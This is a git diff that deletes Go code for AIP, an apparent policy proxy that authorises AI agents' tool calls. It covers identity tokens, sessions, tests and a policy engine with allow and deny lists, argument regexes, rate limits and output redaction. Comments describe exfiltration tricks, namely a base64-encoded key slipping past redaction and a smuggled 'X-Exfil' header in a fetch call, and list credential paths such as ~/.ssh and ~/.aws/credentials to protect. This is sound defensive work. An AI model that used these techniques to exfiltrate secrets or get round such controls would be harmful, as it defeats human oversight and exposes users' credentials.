tokens WE issued - // For tokens from other sources, we'd need distributed nonce tracking - - return &ValidationResult{ - Valid: true, - ExpiresIn: int(token.ExpiresIn().Seconds()), - } -} - -// ValidationResult contains the result of token validation. -type ValidationResult struct { - // Valid is true if the token passed all checks - Valid bool `json:"valid"` - - // Error contains the error code if validation failed - Error string `json:"error,omitempty"` - - // ExpiresIn is the number of seconds until expiration (if valid) - ExpiresIn int `json:"expires_in,omitempty"` -} - -// GetStats returns session statistics. -func (s *Session) GetStats() SessionStats { - s.mu.RLock() - defer s.mu.RUnlock() - - stats := SessionStats{ - SessionID: s.ID, - AgentID: s.AgentID, - PolicyHash: s.PolicyHash, - NonceCount: len(s.seenNonces), - HasToken: s.currentToken != nil, - TokenExpiry: "", - } - - if s.currentToken != nil { - stats.TokenExpiry = s.currentToken.ExpiresAt - stats.TokenExpiresIn = int(s.currentToken.ExpiresIn().Seconds()) - } - - return stats -} - -// SessionStats contains session statistics. -type SessionStats struct { - SessionID string `json:"session_id"` - AgentID string `json:"agent_id"` - PolicyHash string `json:"policy_hash"` - NonceCount int `json:"nonce_count"` - HasToken bool `json:"has_token"` - TokenExpiry string `json:"token_expiry,omitempty"` - TokenExpiresIn int `json:"token_expires_in,omitempty"` -} diff --git a/implementations/go-proxy/pkg/identity/session_test.go b/implementations/go-proxy/pkg/identity/session_test.go deleted file mode 100644 index 67f9f79..0000000 --- a/implementations/go-proxy/pkg/identity/session_test.go +++ /dev/null @@ -1,185 +0,0 @@ -package identity - -import ( - "testing" - "time" -) - -func TestNewSession(t *testing.T) { - policyData := []byte(`{"apiVersion": "aip.io/v1alpha2"}`) - config := &Config{ - Enabled: true, - TokenTTL: "5m", - RotationInterval: "4m", - SessionBinding: SessionBindingProcess, - } - - session, err := NewSession("test-agent", "/path/policy.yaml", policyData, config) - if err != nil { - t.Fatalf("NewSession failed: %v", err) - } - - if session.ID == "" { - t.Error("Session ID should not be empty") - } - if session.AgentID != "test-agent" { - t.Errorf("AgentID = %q, want %q", session.AgentID, "test-agent") - } - if session.PolicyHash == "" { - t.Error("PolicyHash should not be empty") - } - if session.PolicyPath != "/path/policy.yaml" { - t.Errorf("PolicyPath = %q, want %q", session.PolicyPath, "/path/policy.yaml") - } -} - -func TestSessionIssueToken(t *testing.T) { - policyData := []byte(`test policy`) - session, _ := NewSession("test", "/path", policyData, &Config{ - Enabled: true, - TokenTTL: "5m", - }) - - token, err := session.IssueToken() - if err != nil { - t.Fatalf("IssueToken failed: %v", err) - } - - if token.AgentID != session.AgentID { - t.Errorf("Token AgentID = %q, want %q", token.AgentID, session.AgentID) - } - if token.SessionID != session.ID { - t.Errorf("Token SessionID = %q, want %q", token.SessionID, session.ID) - } - if token.PolicyHash != session.PolicyHash { - t.Errorf("Token PolicyHash = %q, want %q", token.PolicyHash, session.PolicyHash) - } -} - -func TestSessionValidateToken(t *testing.T) { - policyData := []byte(`test policy`) - session, _ := NewSession("test", "/path", policyData, &Config{ - Enabled: true, - TokenTTL: "5m", - SessionBinding: SessionBindingProcess, - }) - - token, _ := session.IssueToken() - - // Valid token - result := session.ValidateToken(token) - if !result.Valid { - t.Errorf("Token should be valid, got error: %s", result.Error) - } - - // Expired token - expiredToken, _ := NewToken("test", session.PolicyHash, session.ID, -1*time.Second, nil) - result = session.ValidateToken(expiredToken) - if result.Valid { - t.Error("Expired token should not be valid") - } - if result.Error != "token_expired" { - t.Errorf("Expected error 'token_expired', got %q", result.Error) - } - - // Wrong policy hash - wrongHashToken, _ := NewToken("test", "wrong-hash", session.ID, 5*time.Minute, nil) - result = session.ValidateToken(wrongHashToken) - if result.Valid { - t.Error("Token with wrong policy hash should not be valid") - } - if result.Error != "policy_changed" { - t.Errorf("Expected error 'policy_changed', got %q", result.Error) - } - - // Wrong session ID - wrongSessionToken, _ := NewToken("test", session.PolicyHash, "wrong-session", 5*time.Minute, nil) - result = session.ValidateToken(wrongSessionToken) - if result.Valid { - t.Error("Token with wrong session ID should not be valid") - } - if result.Error != "session_mismatch" { - t.Errorf("Expected error 'session_mismatch', got %q", result.Error) - } - - // Wrong version - wrongVersionToken, _ := NewToken("test", session.PolicyHash, session.ID, 5*time.Minute, nil) - wrongVersionToken.Version = "invalid/version" - result = session.ValidateToken(wrongVersionToken) - if result.Valid { - t.Error("Token with wrong version should not be valid") - } - if result.Error != "token_version_mismatch" { - t.Errorf("Expected error 'token_version_mismatch', got %q", result.Error) - } -} - -func TestSessionShouldRotate(t *testing.T) { - policyData := []byte(`test`) - session, _ := NewSession("test", "/path", policyData, &Config{ - Enabled: true, - TokenTTL: "10s", - RotationInterval: "8s", - }) - - // No token yet = should rotate - if !session.ShouldRotate() { - t.Error("Should rotate when no token exists") - } - - // Issue token - _, _ = session.IssueToken() - - // Fresh token = should not rotate - if session.ShouldRotate() { - t.Error("Should not rotate immediately after issuing token") - } -} - -func TestSessionStats(t *testing.T) { - policyData := []byte(`test`) - session, _ := NewSession("stats-test", "/path", policyData, &Config{ - Enabled: true, - TokenTTL: "5m", - }) - - stats := session.GetStats() - if stats.SessionID != session.ID { - t.Errorf("Stats SessionID = %q, want %q", stats.SessionID, session.ID) - } - if stats.AgentID != "stats-test" { - t.Errorf("Stats AgentID = %q, want %q", stats.AgentID, "stats-test") - } - if stats.HasToken { - t.Error("Should not have token before issuing") - } - - _, _ = session.IssueToken() - stats = session.GetStats() - if !stats.HasToken { - t.Error("Should have token after issuing") - } - if stats.TokenExpiry == "" { - t.Error("TokenExpiry should be set") - } -} - -func TestComputePolicyHash(t *testing.T) { - // Same content = same hash - hash1 := ComputePolicyHash([]byte(`{"key": "value"}`)) - hash2 := ComputePolicyHash([]byte(`{"key": "value"}`)) - if hash1 != hash2 { - t.Error("Same content should produce same hash") - } - - // Different content = different hash - hash3 := ComputePolicyHash([]byte(`{"key": "different"}`)) - if hash1 == hash3 { - t.Error("Different content should produce different hash") - } - - // Hash should be hex string - if len(hash1) != 64 { - t.Errorf("SHA-256 hex hash should be 64 chars, got %d", len(hash1)) - } -} diff --git a/implementations/go-proxy/pkg/identity/token.go b/implementations/go-proxy/pkg/identity/token.go deleted file mode 100644 index fe40518..0000000 --- a/implementations/go-proxy/pkg/identity/token.go +++ /dev/null @@ -1,192 +0,0 @@ -package identity - -import ( - "crypto/rand" - "crypto/sha256" - "encoding/base64" - "encoding/hex" - "encoding/json" - "fmt" - "os" - "time" -) - -// Token represents an AIP identity token. -// This structure is compatible with the AIP v1alpha2 specification. -type Token struct { - // Version is the token format version (e.g., "aip/v1alpha2") - Version string `json:"version"` - - // PolicyHash is the SHA-256 hash of the canonical policy document - PolicyHash string `json:"policy_hash"` - - // SessionID is a UUID identifying this session - SessionID string `json:"session_id"` - - // AgentID is the value of metadata.name from the policy - AgentID string `json:"agent_id"` - - // IssuedAt is the token issuance time (ISO 8601) - IssuedAt string `json:"issued_at"` - - // ExpiresAt is the token expiration time (ISO 8601) - ExpiresAt string `json:"expires_at"` - - // Nonce is a random value for replay prevention - Nonce string `json:"nonce"` - - // Binding contains session binding context - Binding *TokenBinding `json:"binding,omitempty"` -} - -// TokenBinding contains the session binding context. -type TokenBinding struct { - // ProcessID is the current process ID - ProcessID int `json:"process_id,omitempty"` - - // PolicyPath is the path to the policy file - PolicyPath string `json:"policy_path,omitempty"` - - // Hostname is the machine hostname - Hostname string `json:"hostname,omitempty"` -} - -// TokenVersion is the current token format version. -const TokenVersion = "aip/v1alpha2" - -// NewToken creates a new identity token. -func NewToken(agentID, policyHash, sessionID string, ttl time.Duration, binding *TokenBinding) (*Token, error) { - nonce, err := generateNonce() - if err != nil { - return nil, fmt.Errorf("failed to generate nonce: %w", err) - } - - now := time.Now().UTC() - - return &Token{ - Version: TokenVersion, - PolicyHash: policyHash, - SessionID: sessionID, - AgentID: agentID, - IssuedAt: now.Format(time.RFC3339), - ExpiresAt: now.Add(ttl).Format(time.RFC3339), - Nonce: nonce, - Binding: binding, - }, nil -} - -// generateNonce creates a cryptographically secure random nonce. -// Returns a 32-character hex string (16 bytes of entropy). -func generateNonce() (string, error) { - b := make([]byte, 16) - if _, err := rand.Read(b); err != nil { - return "", err - } - return hex.EncodeToString(b), nil -} - -// IsExpired checks if the token has expired. -func (t *Token) IsExpired() bool { - exp, err := time.Parse(time.RFC3339, t.ExpiresAt) - if err != nil { - return true // Invalid expiration = expired - } - return time.Now().UTC().After(exp) -} - -// ExpiresIn returns the duration until the token expires. -// Returns 0 if already expired. -func (t *Token) ExpiresIn() time.Duration { - exp, err := time.Parse(time.RFC3339, t.ExpiresAt) - if err != nil { - return 0 - } - remaining := time.Until(exp) - if remaining < 0 { - return 0 - } - return remaining -} - -// Encode serializes the token to a compact base64 string. -func (t *Token) Encode() (string, error) { - data, err := json.Marshal(t) - if err != nil { - return "", fmt.Errorf("failed to marshal token: %w", err) - } - return base64.RawURLEncoding.EncodeToString(data), nil -} - -// DecodeToken decodes a base64-encoded token string. -func DecodeToken(encoded string) (*Token, error) { - data, err := base64.RawURLEncoding.DecodeString(encoded) - if err != nil { - return nil, fmt.Errorf("failed to decode token: %w", err) - } - - var token Token - if err := json.Unmarshal(data, &token); err != nil { - return nil, fmt.Errorf("failed to unmarshal token: %w", err) - } - - return &token, nil -} - -// CreateBinding creates a token binding based on the binding mode. -func CreateBinding(mode, policyPath string) *TokenBinding { - binding := &TokenBinding{} - - switch mode { - case SessionBindingProcess: - binding.ProcessID = os.Getpid() - case SessionBindingPolicy: - binding.PolicyPath = policyPath - case SessionBindingStrict: - binding.ProcessID = os.Getpid() - binding.PolicyPath = policyPath - if hostname, err := os.Hostname(); err == nil { - binding.Hostname = hostname - } - } - - return binding -} - -// MatchesBinding checks if the token binding matches the current context. -func (t *Token) MatchesBinding(mode, policyPath string) bool { - if t.Binding == nil { - return true // No binding = matches everything - } - - switch mode { - case SessionBindingProcess: - return t.Binding.ProcessID == 0 || t.Binding.ProcessID == os.Getpid() - case SessionBindingPolicy: - return t.Binding.PolicyPath == "" || t.Binding.PolicyPath == policyPath - case SessionBindingStrict: - if t.Binding.ProcessID != 0 && t.Binding.ProcessID != os.Getpid() { - return false - } - if t.Binding.PolicyPath != "" && t.Binding.PolicyPath != policyPath { - return false - } - if t.Binding.Hostname != "" { - if hostname, err := os.Hostname(); err == nil && t.Binding.Hostname != hostname { - return false - } - } - return true - } - - return true -} - -// ComputeHash computes a hash that can be used for replay detection. -// This is derived from the nonce and session ID. -func (t *Token) ComputeHash() string { - h := sha256.New() - h.Write([]byte(t.SessionID)) - h.Write([]byte(t.Nonce)) - h.Write([]byte(t.IssuedAt)) - return hex.EncodeToString(h.Sum(nil))[:16] -} diff --git a/implementations/go-proxy/pkg/identity/token_test.go b/implementations/go-proxy/pkg/identity/token_test.go deleted file mode 100644 index 7d7fc8f..0000000 --- a/implementations/go-proxy/pkg/identity/token_test.go +++ /dev/null @@ -1,179 +0,0 @@ -package identity - -import ( - "testing" - "time" -) - -func TestNewToken(t *testing.T) { - token, err := NewToken("test-agent", "abc123hash", "session-123", 5*time.Minute, nil) - if err != nil { - t.Fatalf("NewToken failed: %v", err) - } - - if token.Version != TokenVersion { - t.Errorf("Expected version %q, got %q", TokenVersion, token.Version) - } - if token.AgentID != "test-agent" { - t.Errorf("Expected agent ID %q, got %q", "test-agent", token.AgentID) - } - if token.PolicyHash != "abc123hash" { - t.Errorf("Expected policy hash %q, got %q", "abc123hash", token.PolicyHash) - } - if token.SessionID != "session-123" { - t.Errorf("Expected session ID %q, got %q", "session-123", token.SessionID) - } - if token.Nonce == "" { - t.Error("Expected nonce to be set") - } - if len(token.Nonce) != 32 { - t.Errorf("Expected nonce length 32, got %d", len(token.Nonce)) - } -} - -func TestTokenExpiration(t *testing.T) { - // Token that expires in 1 second - token, err := NewToken("test", "hash", "sess", 1*time.Second, nil) - if err != nil { - t.Fatalf("NewToken failed: %v", err) - } - - if token.IsExpired() { - t.Error("Fresh token should not be expired") - } - - expiresIn := token.ExpiresIn() - if expiresIn <= 0 || expiresIn > 1*time.Second { - t.Errorf("ExpiresIn should be between 0 and 1s, got %v", expiresIn) - } - - // Wait for expiration - time.Sleep(1100 * time.Millisecond) - - if !token.IsExpired() { - t.Error("Token should be expired after TTL") - } - - if token.ExpiresIn() != 0 { - t.Errorf("Expired token ExpiresIn should be 0, got %v", token.ExpiresIn()) - } -} - -func TestTokenEncodeDecode(t *testing.T) { - original, err := NewToken("encode-test", "hash123", "sess456", 5*time.Minute, nil) - if err != nil { - t.Fatalf("NewToken failed: %v", err) - } - - // Encode - encoded, err := original.Encode() - if err != nil { - t.Fatalf("Encode failed: %v", err) - } - - if encoded == "" { - t.Error("Encoded token should not be empty") - } - - // Decode - decoded, err := DecodeToken(encoded) - if err != nil { - t.Fatalf("DecodeToken failed: %v", err) - } - - // Verify fields match - if decoded.Version != original.Version { - t.Errorf("Version mismatch: %q vs %q", decoded.Version, original.Version) - } - if decoded.AgentID != original.AgentID { - t.Errorf("AgentID mismatch: %q vs %q", decoded.AgentID, original.AgentID) - } - if decoded.PolicyHash != original.PolicyHash { - t.Errorf("PolicyHash mismatch: %q vs %q", decoded.PolicyHash, original.PolicyHash) - } - if decoded.SessionID != original.SessionID { - t.Errorf("SessionID mismatch: %q vs %q", decoded.SessionID, original.SessionID) - } - if decoded.Nonce != original.Nonce { - t.Errorf("Nonce mismatch: %q vs %q", decoded.Nonce, original.Nonce) - } -} - -func TestDecodeTokenInvalid(t *testing.T) { - tests := []struct { - name string - input string - wantErr bool - }{ - {"empty string", "", true}, - {"invalid base64", "not-valid-base64!!!", true}, - {"valid base64 but invalid json", "bm90LWpzb24", true}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - _, err := DecodeToken(tt.input) - if (err != nil) != tt.wantErr { - t.Errorf("DecodeToken() error = %v, wantErr %v", err, tt.wantErr) - } - }) - } -} - -func TestTokenBinding(t *testing.T) { - binding := CreateBinding(SessionBindingProcess, "/path/to/policy.yaml") - - if binding.ProcessID == 0 { - t.Error("Process binding should set ProcessID") - } - - binding = CreateBinding(SessionBindingPolicy, "/path/to/policy.yaml") - if binding.PolicyPath != "/path/to/policy.yaml" { - t.Errorf("Policy binding should set PolicyPath, got %q", binding.PolicyPath) - } - - binding = CreateBinding(SessionBindingStrict, "/path/to/policy.yaml") - if binding.ProcessID == 0 { - t.Error("Strict binding should set ProcessID") - } - if binding.PolicyPath != "/path/to/policy.yaml" { - t.Error("Strict binding should set PolicyPath") - } -} - -func TestTokenMatchesBinding(t *testing.T) { - token, _ := NewToken("test", "hash", "sess", 5*time.Minute, nil) - - // No binding = matches everything - if !token.MatchesBinding(SessionBindingProcess, "/any/path") { - t.Error("Token with no binding should match any context") - } - - // Token with process binding - token.Binding = CreateBinding(SessionBindingProcess, "/test/policy.yaml") - if !token.MatchesBinding(SessionBindingProcess, "/test/policy.yaml") { - t.Error("Token should match its own process") - } -} - -func TestTokenComputeHash(t *testing.T) { - token1, _ := NewToken("test", "hash", "sess", 5*time.Minute, nil) - token2, _ := NewToken("test", "hash", "sess", 5*time.Minute, nil) - - hash1 := token1.ComputeHash() - hash2 := token2.ComputeHash() - - if hash1 == "" { - t.Error("Hash should not be empty") - } - - // Different tokens should have different hashes (different nonces) - if hash1 == hash2 { - t.Error("Different tokens should have different hashes") - } - - // Same token should always have same hash - if token1.ComputeHash() != hash1 { - t.Error("Same token should produce same hash") - } -} diff --git a/implementations/go-proxy/pkg/policy/engine.go b/implementations/go-proxy/pkg/policy/engine.go deleted file mode 100644 index 945ab03..0000000 --- a/implementations/go-proxy/pkg/policy/engine.go +++ /dev/null @@ -1,1334 +0,0 @@ -// Package policy implements the AIP policy engine for tool call authorization. -// -// The policy engine is the core security primitive of AIP. It evaluates every -// tool call against a declarative manifest (agent.yaml) and returns an allow/deny -// decision. This package provides a minimal MVP implementation that supports -// simple allow-list based authorization. -// -// Future versions will support: -// - Deny lists and explicit deny rules -// - Argument-level constraints (e.g., "only SELECT queries") -// - Pattern matching (e.g., "github_*" allows all GitHub tools) -// - Rate limiting enforcement -// - CEL/Rego expressions for complex policies -package policy - -import ( - "encoding/json" - "fmt" - "os" - "path/filepath" - "regexp" - "strconv" - "strings" - "sync" - - "golang.org/x/time/rate" - "gopkg.in/yaml.v3" -) - -// ----------------------------------------------------------------------------- -// Policy Configuration Types -// ----------------------------------------------------------------------------- - -// AgentPolicy represents the parsed agent.yaml manifest. -// -// This struct maps to the policy file that defines what an agent is allowed -// to do. In the MVP, we focus on the allowed_tools list for basic tool-level -// authorization. -// -// Example agent.yaml: -// -// apiVersion: aip.io/v1alpha1 -// kind: AgentPolicy -// metadata: -// name: code-review-agent -// spec: -// allowed_tools: -// - github_get_repo -// - github_list_pulls -// - github_create_review -type AgentPolicy struct { - // APIVersion identifies the policy schema version. - // Current version: aip.io/v1alpha1 - APIVersion string `yaml:"apiVersion"` - - // Kind must be "AgentPolicy" for this struct. - Kind string `yaml:"kind"` - - // Metadata contains identifying information about the policy. - Metadata PolicyMetadata `yaml:"metadata"` - - // Spec contains the actual policy rules. - Spec PolicySpec `yaml:"spec"` -} - -// PolicyMetadata contains identifying information about the policy. -type PolicyMetadata struct { - // Name is a human-readable identifier for the agent. - Name string `yaml:"name"` - - // Version is the semantic version of this policy. - Version string `yaml:"version,omitempty"` - - // Owner is the team/person responsible for this policy. - Owner string `yaml:"owner,omitempty"` - - // Signature is the cryptographic signature for policy integrity (v1alpha2). - // Format: ":" - Signature string `yaml:"signature,omitempty"` -} - -// PolicySpec contains the actual authorization rules. -type PolicySpec struct { - // AllowedTools is a list of tool names that the agent may invoke. - // If a tool is not in this list, it will be blocked. - // Supports exact matches only in MVP; patterns in future versions. - AllowedTools []string `yaml:"allowed_tools"` - - // ToolRules defines granular argument-level validation for specific tools. - // Each rule specifies regex patterns that arguments must match. - // If a tool has a rule here, its arguments are validated; if not, only - // tool-level allow/deny applies. - ToolRules []ToolRule `yaml:"tool_rules,omitempty"` - - // DeniedTools is a list of tools that are explicitly forbidden. - // Takes precedence over AllowedTools (deny wins). - // Supports glob patterns: "github_*" denies all GitHub tools. - DeniedTools []string `yaml:"denied_tools,omitempty"` - - // AllowedMethods specifies which JSON-RPC methods are permitted. - // This is the FIRST line of defense - checked before tool-level policy. - // - // If empty, defaults to safe methods: tools/call, tools/list, initialize, - // initialized, ping, notifications/*, completion/complete. - // - // SECURITY: Methods like "resources/read", "resources/list", "prompts/get" - // are NOT in the default allowlist. If your MCP server needs them, you must - // explicitly add them here. - // - // Use "*" to allow all methods (NOT RECOMMENDED for production). - AllowedMethods []string `yaml:"allowed_methods,omitempty"` - - // DeniedMethods explicitly blocks specific JSON-RPC methods. - // Takes precedence over AllowedMethods (deny wins). - // Useful for blocking specific methods while allowing most others. - DeniedMethods []string `yaml:"denied_methods,omitempty"` - - // StrictArgsDefault sets the default strict_args value for all tool rules. - // When true, tools reject any arguments not declared in allow_args. - // Individual tool rules can override this with their own strict_args setting. - // Default: false (lenient mode for backward compatibility) - StrictArgsDefault bool `yaml:"strict_args_default,omitempty"` - - // ProtectedPaths is a list of file paths that tools may not read, write, or modify. - // Any tool argument containing a protected path will be blocked. - // - // The policy file itself is ALWAYS protected (added automatically). - // Use this to protect additional sensitive files like: - // - Configuration files - // - SSH keys (~/.ssh/*) - // - Environment files (.env) - // - Credentials - // - // Example: - // protected_paths: - // - ~/.ssh - // - ~/.aws/credentials - // - .env - ProtectedPaths []string `yaml:"protected_paths,omitempty"` - - // Mode controls policy enforcement behavior. - // Values: - // - "enforce" (default): Violations are blocked, error returned to client - // - "monitor": Violations are logged but allowed through (dry run mode) - // - // Monitor mode is useful for: - // - Testing new policies before enforcement - // - Understanding agent behavior in production - // - Gradual policy rollout - Mode string `yaml:"mode,omitempty"` - - // DLP (Data Loss Prevention) configuration for output redaction. - // When enabled, the proxy scans downstream responses from the tool - // and redacts sensitive information (PII, API keys, secrets) before - // forwarding to the client. - DLP *DLPConfig `yaml:"dlp,omitempty"` - - // Identity configures agent identity tokens and session management (v1alpha2). - Identity *IdentityConfig `yaml:"identity,omitempty"` - - // Server configures HTTP endpoints for server-side validation (v1alpha2). - Server *ServerConfig `yaml:"server,omitempty"` -} - -// IdentityConfig holds the identity configuration for v1alpha2. -// Maps to spec.identity in the policy YAML. -type IdentityConfig struct { - // Enabled controls whether identity token generation is active. - Enabled bool `yaml:"enabled,omitempty"` - - // TokenTTL is the time-to-live for identity tokens. - // Format: Go duration string (e.g., "5m", "1h", "300s") - TokenTTL string `yaml:"token_ttl,omitempty"` - - // RotationInterval is how often to rotate tokens before expiry. - RotationInterval string `yaml:"rotation_interval,omitempty"` - - // RequireToken when true requires all tool calls to include a valid token. - RequireToken bool `yaml:"require_token,omitempty"` - - // SessionBinding determines what context is bound to the session identity. - // Values: "process", "policy", "strict" - SessionBinding string `yaml:"session_binding,omitempty"` -} - -// ServerConfig holds the HTTP server configuration for v1alpha2. -// Maps to spec.server in the policy YAML. -type ServerConfig struct { - // Enabled controls whether the HTTP server is active. - Enabled bool `yaml:"enabled,omitempty"` - - // Listen is the address and port to bind. - Listen string `yaml:"listen,omitempty"` - - // TLS configures HTTPS. - TLS *TLSConfig `yaml:"tls,omitempty"` - - // Endpoints configures custom endpoint paths. - Endpoints *EndpointsConfig `yaml:"endpoints,omitempty"` -} - -// TLSConfig holds TLS configuration. -type TLSConfig struct { - Cert string `yaml:"cert,omitempty"` - Key string `yaml:"key,omitempty"` - ClientCA string `yaml:"client_ca,omitempty"` - RequireClientCert bool `yaml:"require_client_cert,omitempty"` -} - -// EndpointsConfig holds custom endpoint paths. -type EndpointsConfig struct { - Validate string `yaml:"validate,omitempty"` - Health string `yaml:"health,omitempty"` - Metrics string `yaml:"metrics,omitempty"` -} - -// DLPConfig configures Data Loss Prevention (output redaction) rules. -// -// Example YAML: -// -// dlp: -// enabled: true -// patterns: -// - name: "Email" -// regex: "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}" -// - name: "AWS Key" -// regex: "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" -type DLPConfig struct { - // Enabled controls whether DLP scanning is active (default: true if dlp block exists) - Enabled *bool `yaml:"enabled,omitempty"` - - // DetectEncoding enables automatic detection and decoding of base64/hex encoded - // strings before pattern matching. This catches secrets encoded to bypass DLP. - // - // When enabled: - // - Strings matching base64 patterns are decoded and scanned - // - Strings matching hex patterns (0x prefix or long hex) are decoded and scanned - // - If a secret is found in decoded content, the original encoded string is redacted - // - // Example attack prevented: - // Secret: AKIAIOSFODNN7EXAMPLE - // Encoded: QUtJQUlPU0ZPRE5ON0VYQU1QTEU= - // Without detect_encoding: Passes through (no match) - // With detect_encoding: Redacted (decoded, matched, original replaced) - // - // Default: false (for backward compatibility and performance) - DetectEncoding bool `yaml:"detect_encoding,omitempty"` - - // FilterStderr applies DLP scanning to subprocess stderr output. - // When enabled, any sensitive data in error logs is redacted before display. - // - // This prevents information leakage through error messages, stack traces, - // and debug output that might contain secrets. - // - // Default: false (for backward compatibility) - FilterStderr bool `yaml:"filter_stderr,omitempty"` - - // Patterns defines the sensitive data patterns to detect and redact. - Patterns []DLPPattern `yaml:"patterns"` -} - -// DLPPattern defines a single sensitive data detection rule. -type DLPPattern struct { - // Name is a human-readable identifier for the pattern (used in redaction placeholder) - Name string `yaml:"name"` - - // Regex is the pattern to match sensitive data - Regex string `yaml:"regex"` -} - -// IsEnabled returns true if DLP scanning is enabled. -func (d *DLPConfig) IsEnabled() bool { - if d == nil { - return false - } - if d.Enabled == nil { - return true // Default to enabled if dlp block exists - } - return *d.Enabled -} - -// ToolRule defines argument-level validation for a specific tool. -// -// Example YAML: -// -// tool_rules: -// - tool: fetch_url -// allow_args: -// url: "^https://github\\.com/.*" -// - tool: run_query -// allow_args: -// query: "^SELECT\\s+.*" -// - tool: dangerous_tool -// action: ask -// - tool: expensive_api_call -// rate_limit: "5/minute" -// - tool: high_security_tool -// strict_args: true -// allow_args: -// param: "^valid$" -type ToolRule struct { - // Tool is the name of the tool this rule applies to. - Tool string `yaml:"tool"` - - // Action specifies what happens when this tool is called. - // Values: "allow" (default), "block", "ask" - // - "allow": Permit the tool call (subject to arg validation) - // - "block": Deny the tool call unconditionally - // - "ask": Prompt user via native OS dialog for approval - Action string `yaml:"action,omitempty"` - - // RateLimit specifies the maximum call rate for this tool. - // Format: "N/duration" where duration is "second", "minute", or "hour". - // Examples: "5/minute", "100/hour", "10/second" - // If empty, no rate limiting is applied. - RateLimit string `yaml:"rate_limit,omitempty"` - - // StrictArgs when true rejects any arguments not explicitly declared in AllowArgs. - // Default: nil (inherit from strict_args_default) - // Set to true/false to override the global default for this specific tool. - // - // Use strict_args: true for high-security tools where unknown arguments - // could be used for data exfiltration or bypass attacks. - // - // Example attack prevented: - // Policy validates: url: "^https://github.com/.*" - // Attacker sends: {"url": "https://github.com/ok", "headers": {"X-Exfil": "secret"}} - // Without strict: headers passes through unchecked - // With strict: BLOCKED - "headers" not in allow_args - StrictArgs *bool `yaml:"strict_args,omitempty"` - - // AllowArgs maps argument names to regex patterns. - // Each argument value must match its corresponding regex. - // Key = argument name, Value = regex pattern string. - AllowArgs map[string]string `yaml:"allow_args"` - - // compiledArgs holds pre-compiled regex patterns for performance. - // Populated during Load() to avoid recompilation on every request. - compiledArgs map[string]*regexp.Regexp - - // parsedRateLimit holds the parsed rate limit value (requests per second). - // Zero means no rate limiting. - parsedRateLimit rate.Limit - - // parsedBurst holds the burst size for rate limiting. - // Defaults to the rate limit count (N in "N/duration"). - parsedBurst int -} - -// ParseRateLimit parses a rate limit string like "5/minute" into rate.Limit and burst. -// Returns (0, 0, nil) if the input is empty (no rate limiting). -// Returns error if the format is invalid. -// -// Supported formats: -// - "N/second" - N requests per second -// - "N/minute" - N requests per minute -// - "N/hour" - N requests per hour -func ParseRateLimit(s string) (rate.Limit, int, error) { - if s == "" { - return 0, 0, nil // No rate limiting - } - - s = strings.TrimSpace(s) - parts := strings.Split(s, "/") - if len(parts) != 2 { - return 0, 0, fmt.Errorf("invalid rate limit format %q: expected 'N/duration'", s) - } - - count, err := strconv.Atoi(strings.TrimSpace(parts[0])) - if err != nil || count <= 0 { - return 0, 0, fmt.Errorf("invalid rate limit count %q: must be positive integer", parts[0]) - } - - duration := strings.ToLower(strings.TrimSpace(parts[1])) - var perSecond float64 - - switch duration { - case "second", "sec", "s": - perSecond = float64(count) - case "minute", "min", "m": - perSecond = float64(count) / 60.0 - case "hour", "hr", "h": - perSecond = float64(count) / 3600.0 - default: - return 0, 0, fmt.Errorf("invalid rate limit duration %q: must be 'second', 'minute', or 'hour'", duration) - } - - // Burst is set to the count to allow the full quota to be used in a burst - return rate.Limit(perSecond), count, nil -} - -// ----------------------------------------------------------------------------- -// Policy Engine -// ----------------------------------------------------------------------------- - -// PolicyMode constants for enforcement behavior. -const ( - // ModeEnforce blocks violations and returns errors to client (default). - ModeEnforce = "enforce" - // ModeMonitor logs violations but allows requests through (dry run). - ModeMonitor = "monitor" -) - -// ActionType constants for rule actions. -const ( - // ActionAllow permits the tool call (default). - ActionAllow = "allow" - // ActionBlock denies the tool call. - ActionBlock = "block" - // ActionAsk prompts the user for approval via native OS dialog. - ActionAsk = "ask" - // ActionRateLimited indicates the call was blocked due to rate limiting. - ActionRateLimited = "rate_limited" - // ActionProtectedPath indicates the call was blocked due to accessing a protected path. - // This is a security-critical event that should be audited separately. - ActionProtectedPath = "protected_path" -) - -// Engine evaluates tool calls against the loaded policy. -// -// The engine is the "brain" of the AIP proxy. It maintains the parsed policy -// and provides fast lookups to determine if a tool call should be allowed. -// -// Thread-safety: The engine is safe for concurrent use after initialization. -// The allowedSet and toolRules maps are read-only after Load(). -// The limiters map is thread-safe via its own internal mutex. -type Engine struct { - // policy holds the parsed agent.yaml configuration. - policy *AgentPolicy - - // policyData holds the raw policy bytes for hash computation. - policyData []byte - - // policyPath holds the path to the policy file. - policyPath string - - // allowedSet provides O(1) lookup for allowed tools. - // Populated during Load() from policy.Spec.AllowedTools. - allowedSet map[string]struct{} - - // deniedSet provides O(1) lookup for denied tools. - // Populated during Load() from policy.Spec.DeniedTools. - // Takes precedence over allowedSet (deny wins). - deniedSet map[string]struct{} - - // toolRules provides O(1) lookup for tool-specific argument rules. - // Key = normalized tool name, Value = ToolRule with compiled regexes. - toolRules map[string]*ToolRule - - // allowedMethods provides O(1) lookup for allowed JSON-RPC methods. - // Populated during Load() from policy.Spec.AllowedMethods. - allowedMethods map[string]struct{} - - // deniedMethods provides O(1) lookup for denied JSON-RPC methods. - // Takes precedence over allowedMethods. - deniedMethods map[string]struct{} - - // protectedPaths holds paths that tools may not access. - // Always includes the policy file itself. - protectedPaths []string - - // mode controls enforcement behavior: "enforce" (default) or "monitor". - // In monitor mode, violations are logged but allowed through. - mode string - - // limiters holds per-tool rate limiters. - // Key = normalized tool name, Value = ToolRule with compiled regexes. - // Populated during Load() for tools with rate_limit defined. - limiters map[string]*rate.Limiter - - // limiterMu protects concurrent access to limiters map. - limiterMu sync.RWMutex -} - -// DefaultAllowedMethods are safe JSON-RPC methods permitted when no explicit list is provided. -// These methods are considered safe because they either: -// - Are required for MCP protocol handshake (initialize, initialized, ping) -// - Are already policy-checked at the tool level (tools/call) -// - Are read-only metadata operations (tools/list) -// - Are client-side notifications that don't access resources -// -// SECURITY NOTE: The following methods are intentionally EXCLUDED: -// - resources/read, resources/list (can read arbitrary files) -// - prompts/get, prompts/list (can access prompt templates) -// - logging/* (could leak information) -// -// If your MCP server needs these methods, explicitly add them to allowed_methods. -var DefaultAllowedMethods = []string{ - "initialize", - "initialized", - "ping", - "tools/call", - "tools/list", - 